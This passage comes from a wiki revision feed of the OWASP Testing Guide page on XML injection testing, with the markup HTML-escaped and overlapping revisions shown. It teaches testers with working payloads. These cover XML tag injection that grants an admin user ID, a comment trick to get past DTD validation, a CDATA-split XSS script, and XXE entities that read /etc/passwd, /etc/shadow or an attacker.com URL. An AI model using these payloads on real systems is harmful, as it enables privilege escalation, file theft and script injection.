		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36997</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=36997"/>
				<updated>2008-08-23T06:38:59Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Tag Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
